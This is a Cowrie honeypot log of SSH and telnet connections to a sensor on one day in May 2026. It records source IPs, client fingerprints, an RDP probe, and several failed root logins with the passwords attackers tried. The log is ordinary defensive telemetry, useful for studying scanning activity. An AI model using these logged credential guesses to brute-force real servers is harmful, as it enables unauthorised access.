{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:09:40.699448Z","src_ip":"103.219.170.37","session":"991a14e7cbac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Rahul@12345","message":"login attempt [root/Rahul@12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:09:40.923038Z","src_ip":"103.219.170.37","session":"991a14e7cbac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35714,"dst_ip":"10.17.0.5","dst_port":23,"session":"c552077cd379","protocol":"telnet","message":"New connection: 192.119.13.58:35714 (10.17.0.5:23) [session: c552077cd379]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:09:41.693914Z"}
{"eventid":"cowrie.session.closed","duration":0.005283832550048828,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:09:41.699081Z","src_ip":"192.119.13.58","session":"c552077cd379","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:09:41.999619Z","src_ip":"103.219.170.37","session":"991a14e7cbac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.101.216.219","src_port":53818,"dst_ip":"159.203.135.109","dst_port":22,"session":"1700601d153f","protocol":"ssh","message":"New connection: 103.101.216.219:53818 (159.203.135.109:22) [session: 1700601d153f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:09:48.063389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:09:48.068435Z","src_ip":"103.101.216.219","session":"1700601d153f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:09:48.310857Z","src_ip":"103.101.216.219","session":"1700601d153f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.536073923110962,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:09:48.547177Z","src_ip":"192.119.13.58","session":"76aaa2ec1f5e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"recording","message":"login attempt [root/recording] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:09:49.298114Z","src_ip":"103.101.216.219","session":"1700601d153f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.24848175048828,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:09:49.399964Z","src_ip":"192.119.13.58","session":"cf770afa6979","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:09:50.540917Z","src_ip":"103.101.216.219","session":"1700601d153f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.99696898460388,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:10:01.495623Z","src_ip":"192.119.13.58","session":"2479fc132525","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.49444270133972,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:10:02.638460Z","src_ip":"192.119.13.58","session":"7adfcee333c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58674,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9c9c6ffe1d3","protocol":"telnet","message":"New connection: 192.119.13.58:58674 (10.17.0.5:23) [session: d9c9c6ffe1d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:10:08.846941Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.4.240.226","src_port":43528,"dst_ip":"159.203.135.109","dst_port":22,"session":"3f2fd1f2d087","protocol":"ssh","message":"New connection: 186.4.240.226:43528 (159.203.135.109:22) [session: 3f2fd1f2d087]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:10:10.486428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:10:10.491745Z","src_ip":"186.4.240.226","session":"3f2fd1f2d087","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:10:10.582133Z","src_ip":"186.4.240.226","session":"3f2fd1f2d087","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alena","message":"login attempt [root/alena] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:10:10.972891Z","src_ip":"186.4.240.226","session":"3f2fd1f2d087","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:10:12.067807Z","src_ip":"186.4.240.226","session":"3f2fd1f2d087","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":32812,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f94660418f3","protocol":"ssh","message":"New connection: 103.77.175.15:32812 (159.203.135.109:22) [session: 6f94660418f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:10:15.815163Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:10:15.822181Z","src_ip":"103.77.175.15","session":"6f94660418f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:10:16.089380Z","src_ip":"103.77.175.15","session":"6f94660418f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test","message":"login attempt [root/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:10:16.895535Z","src_ip":"103.77.175.15","session":"6f94660418f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:10:18.163517Z","src_ip":"103.77.175.15","session":"6f94660418f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36080,"dst_ip":"10.17.0.5","dst_port":23,"session":"8902faa1d7eb","protocol":"telnet","message":"New connection: 192.119.13.58:36080 (10.17.0.5:23) [session: 8902faa1d7eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:10:24.796872Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42310,"dst_ip":"10.17.0.5","dst_port":23,"session":"b310d245aee9","protocol":"telnet","message":"New connection: 192.119.13.58:42310 (10.17.0.5:23) [session: b310d245aee9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:10:27.444746Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.188.200","src_port":44324,"dst_ip":"159.203.135.109","dst_port":22,"session":"dcada4a6f73d","protocol":"ssh","message":"New connection: 170.106.188.200:44324 (159.203.135.109:22) [session: dcada4a6f73d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:10:28.383055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:10:28.395052Z","src_ip":"170.106.188.200","session":"dcada4a6f73d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:10:28.463487Z","src_ip":"170.106.188.200","session":"dcada4a6f73d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ismana2121","message":"login attempt [root/ismana2121] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:10:28.769856Z","src_ip":"170.106.188.200","session":"dcada4a6f73d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:10:29.842953Z","src_ip":"170.106.188.200","session":"dcada4a6f73d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48754,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f9445769c19","protocol":"telnet","message":"New connection: 192.119.13.58:48754 (10.17.0.5:23) [session: 6f9445769c19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:10:35.305609Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":36204,"dst_ip":"10.17.0.5","dst_port":22,"session":"6712bbde3bb7","protocol":"ssh","message":"New connection: 62.133.62.83:36204 (10.17.0.5:22) [session: 6712bbde3bb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:10:37.093928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:10:37.099262Z","src_ip":"62.133.62.83","session":"6712bbde3bb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:10:37.179880Z","src_ip":"62.133.62.83","session":"6712bbde3bb7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ghbdt","message":"login attempt [root/ghbdt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:10:37.425403Z","src_ip":"62.133.62.83","session":"6712bbde3bb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59300,"dst_ip":"10.17.0.5","dst_port":23,"session":"5788a3e29e11","protocol":"telnet","message":"New connection: 192.119.13.58:59300 (10.17.0.5:23) [session: 5788a3e29e11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:10:37.813454Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:10:38.509848Z","src_ip":"62.133.62.83","session":"6712bbde3bb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41176,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d97b2a57504","protocol":"telnet","message":"New connection: 192.119.13.58:41176 (10.17.0.5:23) [session: 8d97b2a57504]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:10:40.522505Z"}
{"eventid":"cowrie.session.closed","duration":38.3281512260437,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:10:47.174968Z","src_ip":"192.119.13.58","session":"d9c9c6ffe1d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43012,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b03e8e34af8","protocol":"telnet","message":"New connection: 192.119.13.58:43012 (10.17.0.5:23) [session: 4b03e8e34af8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:10:48.552031Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":60403,"dst_ip":"159.203.135.109","dst_port":22,"session":"36f60f32face","protocol":"ssh","message":"New connection: 152.42.212.128:60403 (159.203.135.109:22) [session: 36f60f32face]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:10:53.063398Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:10:53.069674Z","src_ip":"152.42.212.128","session":"36f60f32face","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:10:53.073707Z","src_ip":"152.42.212.128","session":"36f60f32face","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.16998505592346,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:10:56.966728Z","src_ip":"192.119.13.58","session":"8902faa1d7eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.374395608901978,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:11:08.187722Z","src_ip":"192.119.13.58","session":"5788a3e29e11","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.68726849555969,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:11:09.131886Z","src_ip":"192.119.13.58","session":"b310d245aee9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50538,"dst_ip":"10.17.0.5","dst_port":23,"session":"93d65643fa3d","protocol":"telnet","message":"New connection: 192.119.13.58:50538 (10.17.0.5:23) [session: 93d65643fa3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:11:12.017500Z"}
{"eventid":"cowrie.session.closed","duration":0.005595684051513672,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:11:12.022943Z","src_ip":"192.119.13.58","session":"93d65643fa3d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.51473069190979,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:11:13.036944Z","src_ip":"192.119.13.58","session":"8d97b2a57504","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.84220623970032,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:11:17.147687Z","src_ip":"192.119.13.58","session":"6f9445769c19","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55380,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4f4fadf33e5","protocol":"telnet","message":"New connection: 192.119.13.58:55380 (10.17.0.5:23) [session: e4f4fadf33e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:11:20.614553Z"}
{"eventid":"cowrie.session.closed","duration":36.963383436203,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:11:25.515338Z","src_ip":"192.119.13.58","session":"4b03e8e34af8","protocol":"telnet"}
